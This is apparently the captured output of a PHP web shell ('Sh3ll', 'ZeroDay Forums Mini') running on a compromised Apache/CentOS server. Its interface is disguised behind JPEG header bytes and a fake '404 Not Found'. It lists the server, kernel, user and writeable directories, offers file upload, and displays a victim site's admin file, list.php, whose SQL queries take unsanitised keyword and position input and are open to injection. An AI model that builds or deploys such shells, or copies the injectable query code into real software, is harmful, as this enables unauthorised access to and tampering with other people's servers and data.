ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/code/admin/emoji_cat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/netphim/code/admin/emoji_cat/list.php
<?php
$keyword = isset($CORE->input['fkeyword']) ? $CORE->input['fkeyword'] : '';
$where = " WHERE emoji_cat_name<>'' ";
if($keyword!='')
{
    $where .=  " AND (emoji_cat_name LIKE '%".$keyword."%' OR emoji_cat_fname LIKE '%".$keyword."%') ";
}

$pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
$pageSize = 100;
$from = (($pageNum * $pageSize) - $pageSize);
$t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_emoji_cat ".$where));
$total = $t['total'];
$totalPage = ceil($total / $pageSize);
$query = $DB->query("SELECT * FROM tb_emoji_cat ".$where." ORDER BY emoji_cat_pos LIMIT $from, $pageSize");
$txt_list_emoji_cat = '';
$stt = 1;
while($row = $DB->fetch_row($query)){
    $txt_list_emoji_cat .= '<tr id="tr_emoji_cat_'.$row['emoji_cat_id'].'"><td><input type="text" class="form-control" value="'.$row['emoji_cat_pos'].'" name="txt_pos['.$row['emoji_cat_id'].'][]" style="width:100px;"></td><td>'.$row['emoji_cat_name'].'</td><td><img src="'.$row['emoji_cat_img'].'" style="width: 50px;"></td><td>[<a href="javascript:void(0);" onclick="open_popup(\'?act=admin&code=emoji_cat&type=post&emoji_cat_id='.$row['emoji_cat_id'].'\',\'Edit\')">Edit</a>] [<a href="javascript:void(0);" data-id="'.$row['emoji_cat_id'].'" class="delete_emoji_cat">Delete</a>]</td></tr>';
    $stt++;
}
$nav = $print->Pagination($totalPage,$pageNum,'menu','?act=admin&code=emoji_cat&type=list&fkeyword='.$keyword);

$type2 = isset($CORE->input['type2']) ? $CORE->input['type2'] : '';
if($type2=='update_pos'){
    if(isset($CORE->input['txt_pos'])) {
        $pos = $CORE->input['txt_pos'];
        foreach ($pos as $key=>$val){
            $DB->query("UPDATE tb_emoji_cat SET emoji_cat_pos = '".$val[0]."' WHERE emoji_cat_id='$key' ");
        }
        unset($pos);
    }
    $print->refresh('?act=admin&code=emoji_cat');
}
?>

ZeroDay Forums Mini